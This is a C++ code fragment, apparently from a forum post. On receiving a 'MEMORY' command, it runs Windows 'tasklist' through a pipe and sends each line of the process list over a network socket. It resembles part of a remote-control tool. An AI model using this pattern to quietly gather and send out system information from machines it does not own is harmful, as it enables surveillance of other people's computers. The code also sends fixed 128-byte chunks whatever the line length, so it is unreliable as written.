1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
|
cout << "MEMORYMEMORY RECEIVED"<<endl;
cout << "TREATING MEMORYMEMORY"<<endl;
char psBuffer[128];
FILE *pPipe;
/* Run DIR so that it writes its output to a pipe. Open this
* pipe with read text attribute so that we can read it
* like a text file.
*/
if( (pPipe = _popen( "tasklist", "rt" )) == NULL )
{
cout << "erreur" << endl;
exit( 1 );
}
cout << "pPipe opened" << endl;
/* Read pipe until end of file. */
while( !feof( pPipe ) )
{
if( fgets( psBuffer, 128, pPipe ) != NULL )
{
cout << "sending line \""<< psBuffer << "\" in the socket" << endl;
send( sock,psBuffer,128,0 );
}
} |
Partager